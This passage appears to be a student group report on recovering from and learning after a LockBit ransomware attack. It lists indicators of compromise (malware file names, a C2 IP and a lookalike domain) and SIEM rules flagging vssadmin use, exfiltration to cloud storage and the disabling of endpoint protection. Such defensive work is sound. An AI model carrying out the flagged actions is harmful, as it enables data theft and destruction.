Data Integrity Checks

- Compare SHA-256 hashes of restored files against the May 2024 backup manifest.
- Confirm no IoCs from Section 1.2 (chrome_update.exe, winupdate.exe, GoogleUpdateTaskMachine, .HLJkNskOq) remain on restored systems.
- Reconcile database record counts against May month-end reports.

Post-Incident Activities

- Enforce MFA on all Citrix NetScaler VPN user groups.
- Adopt a tiered admin model - domain admins only sign in to privileged-access workstations.
- Move all backups to immutable / air-gapped storage.
- Add SIEM rules for the red flags missed in this incident: out-of-hours VPN logins from foreign IPs, vssadmin use, sustained outbound transfers to consumer cloud storage, and GPOs disabling endpoint protection.
- Run a mandatory phishing-awareness refresher for all staff within 30 days, using the DocuSign lure as the worked example.

Continuous Improvement

- Full review of the disaster recovery plan annually; light quarterly updates.
- Quarterly backup-restore tests; daily integrity reports on the immutable backup store.
- Annual independent audit of the recovery plan, reported to the Board.

7.4 Stand Down

Recovery ends only when every criterion below is met and signed off by the Recovery Manager. Heightened monitoring continues for a further 30 days before the incident is formally closed.

#	Stand-Down Criterion
1	All ~320 endpoints wiped, re-imaged and back in service. No contact observed with known C2 IP 45.95.169.42 or domain secure-login-msft.com for 14 days.
2	AD rebuilt, krbtgt rotated twice, all passwords reset, MFA enforced on every VPN group.
3	BKP01 rebuilt on new hardware with immutable storage; full restore test passed.
4	OAIC, APRA, ACSC and ASIC notified; all 1.2 million affected customers notified.
5	Final report delivered to the CEO and Board, and the lessons-learned review (Section 8.1) scheduled.

8. Learn and Improve

8.1. Post Incident Review

A post-incident review was conducted after the LockBit ransomware attack to evaluate the entire incident. This involves

- Identifying the root cause.
- Evaluating how effective SVB's response was.
- Finding improvements and ensuring the corrective actions are implemented, tracked and validated.

The main cause of this incident was since multi-factor authentication (MFA) which allowed attackers to access the VPN using stolen credentials. These credentials were obtained through an email phishing scheme. This poor credential management allowed attackers to steal administrator credentials from a compromised workstation, allowing them to access more systems, move through the network and deploy ransomware everywhere.

This situation then escalated as there were weak monitoring and alerting procedures to detect this suspicious behaviour early on. For instance, there was unusual VPN login activity outside business hours and huge data exfiltration to MEGA cloud storage which wasn't detected or discovered until after the compromise. Security controls such as endpoint detection and network segmentation were not good enough.

These incidents could have been prevented or have less of an impact if there were better cybersecurity controls and training. This includes:

- Implementation MFA to prevent unauthorised access by requiring more than one proof of identity
- Better security information and event management (SIEM) alerts so that notifications are sent automatically once something unusual has been detected.
- Regular security audits to identify vulnerabilities and mitigate risks.
- Segmenting networks to reduce the attack surface and to stop the breaches from expanding.

Although there were a bunch of weaknesses, some of SVB's quick decision making and responses were effective. When the threat was found, the organisation was able to isolate the infected systems, remove permissions from compromised accounts and started a thorough investigation on what harm was done. The planning for recovery happened instantly. However, after the investigation, it concluded that if the attack was detected earlier with better preparation, the damage and impacts could have been reduced severely.

8.1.1. PPOSTTE Model

The PPOSTTE model can assist to reflect on key elements of the incident response.

People	• Employees didn't have enough education around phishing threats, causing them to fall for the email tactics that the attackers had arranged. This compromised the employee credentials allowing the attackers to have a pathway into the system. • IT administrators were using accounts with higher permissions on standard user devices which increased the risk of the sensitive credentials being exposed. • There should be some established role responsibilities for each level of employee so that people can be accountable for duties that are missed or not done.
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Process	• The security processes and incident response procedures that SVB had in place was not good enough. • Monitoring actions in the system was rather little. This allowed actions and processes to be done without being documented. • This caused the attack to not be identified early on until it had fully expanded into majority of the network, server and systems. • The current security policies should be looked and improved so that these events have a higher change at being detected in the future.
Organisation	• The incident showed that there are many weaknesses within the company's cybersecurity and governance. • Cybersecurity wasn't a focused priority by SVB. This was discovered through the lack of enforcement security controls and risk management strategies. • The company will need to review what went wrong within its organisation and improve. This can involve a stronger leadership involvement that is more committed to cybersecurity.
Support	• There were not enough backup environments or monitoring tools. Although there was a backup system, it was open to the attackers to access. • Improvements are needed so that the system can be maintained, ensuring that systems are isolated and not all connected, along with backup protection strategies.
Technology	• Many important technologies were missing or didn't have proper configuration, which became a huge weakness. This involved no MFA, little SIEM alerting, unfinished endpoint detection coverage and connected networks, which helped the attackers enter through the system with little to no issues. • To improve, SVB should implement layered security and stronger security controls.
Training	• To move on from this incident, training should be implemented so that the staff are more aware and educated on phishing awareness education. This education programme should be ongoing and cover other types of cybersecurity topics as well to be effective. • Some technical teams may require more advanced training and focus on incident response, detecting threats and more secure administrator practices. • It is useful to implement regular cyber incident simulations so that they get hands-on experience to prepare for possible future incidents.

8.2. Update and Test Cyber Incident Response Plan

Following the Post Incident Review, the organisation's Cyber Incident Response Plan (CIRP), documentation, and security procedures should be updated with new information on how to handle these incidents. All new changes should be communicated throughout the whole company so that they are prepared for any future cyber threats,

Improvements that should be made include:

- Require multi-factor authentication (MFA) throughout all services and devices to toughen up accessibility against the attackers.
- Applying Zero Trust security principles along with stricter controls so that only the employees are able to access and manage the systems that are necessary for their role (NIST, 2020; Rose et al., 2020).
- Improve SIEM monitoring so that real-time alerts can assist detection and response time (NIST, 2018; Scarfone & Souppaya, 2007).
- Strengthen network segmentation so that it is difficult for the attackers to move throughout the network after gaining access.
- Keep backup systems safely by having them offline so that they cannot be compromised to easily recover from attacks (CISA, 2023).
- Make regular assessments and do tests to identify and fix these security weaknesses before they are exploited by the attackers (NIST, 2018; ISO, 2022).
- Developing more detailed ransomware-specific incident response playbooks

8.3. Training

It is very important that cybersecurity training is implemented to reduce the likelihood and impact of future cyber incidents. This training should be ongoing as there will always be new vulnerabilities and cyberattacks (Verizon, 2024). Employees will need to participate in mandatory education programmes to help them figure out and report suspicious emails (Hadnagy, 2018; Parsons et al., 2019)..

Specialized technical and security personnel require advanced training in key areas including:

- Incident response procedures
- Digital forensics techniques
- Malware analysis methodologies
- Threat hunting strategies
- Secure system administration practices
- Privileged access controls and credential security

To add to this, SVB should conduct regular incident response simulations that involve the whole company (technical teams and executive management) (NIST, 2012; NIST, 2018). This way, they will be able to train together on how to improve communication, coordination and decision making in future cyber incidents while staff will be more familiar in what to do in these situations (ISO, 2022).

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10. Appendix

Each **Group** must complete the blank form below, get it signed by all members, and attach it to the report.

Note:

1. If all group members receive the same percentage (as in sample 1 above) no reasons are required.
2. If there are differences in the percentage of group members, a reason **MUST** be supplied.
3. You must complete the declaration and sign your group participation form.

Group Member	%	Reason	Contribution
Abdulaziz Almehmadi	33%		Technical Analysis & Recovery plan
Zhi Chong	33%		Incident Communication and Report & Response
Skyla Hong	33%		Executive Summary Impact Analysis Learn & Improve
Total	100%		

Name (PRINTED) : Abdulaziz Almehmadi & Skyla Hong
Student ID: 14510630,

SIGNATURE: _____ Abdulaziz Almehmadi, _____

Student ID: 26113985, Zhi Chong

SIGNATURE: 

Student ID: Skyla Hong

SIGNATURE: 